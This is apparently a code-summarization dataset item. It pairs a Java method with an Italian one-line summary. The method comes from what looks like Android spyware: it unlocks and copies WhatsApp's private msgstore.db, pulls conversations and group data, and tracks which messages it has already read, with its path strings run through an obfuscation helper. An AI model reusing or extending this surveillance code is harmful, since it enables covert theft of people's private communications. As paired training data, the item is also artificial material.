question: private void readChatWhatsappMessages ( ) throws IOException { if ( Cfg . DEBUG ) { Check . log ( TAG + " (readChatMessages)" ) ; } if ( ! readChatSemaphore . tryAcquire ( ) ) { if ( Cfg . DEBUG ) { Check . log ( TAG + " (readChatMessages), semaphore red" ) ; } return ; } try { long lastWhatsapp = markup . unserialize ( new Long ( 0 ) ) ; boolean updateMarkup = false ; String dbDir = M . e ( "/data/data/com.whatsapp/databases" ) ; String dbFile = M . e ( "/msgstore.db" ) ; if ( Path . unprotect ( dbDir , dbFile , true ) ) { if ( Cfg . DEBUG ) { Check . log ( TAG + " (readChatWhatsappMessages): can read DB" ) ; } GenericSqliteHelper helper = GenericSqliteHelper . openCopy ( dbDir , dbFile ) ; if ( helper == null ) { if ( Cfg . DEBUG ) { Check . log ( TAG + " (readChatWhatsappMessages) Error, file not readable: " + dbFile ) ; } return ; } try { SQLiteDatabase db = helper . getReadableDatabase ( ) ; ArrayList < String > changedConversations = fetchConversation ( db , lastWhatsapp ) ; long newLastRead = lastWhatsapp ; for ( String conversation : changedConversations ) { if ( groups . isGroup ( conversation ) && ! groups . hasMemoizedGroup ( conversation ) ) { fetchGroup ( helper , conversation ) ; } newLastRead = fetchMessages ( db , conversation , lastWhatsapp ) ; if ( Cfg . DEBUG ) { Check . log ( TAG + " (readChatMessages): fetchMessages " + conversation + " newLastRead " + newLastRead ) ; } updateMarkup = true ; } if ( updateMarkup ) { if ( Cfg . DEBUG ) { Check . log ( TAG + " (readChatMessages): updating markup" ) ; } markup . writeMarkupSerializable ( newLastRead ) ; } } finally { helper . disposeDb ( ) ; } } else { if ( Cfg . DEBUG ) { Check . log ( TAG + " (readChatMessages) Error, file not readable: " + dbFile ) ; } } } finally { readChatSemaphore . release ( ) ; } }
target:  Apre msgstore.db, estrae le conversazioni. Per ogni conversazione legge i messaggi relativi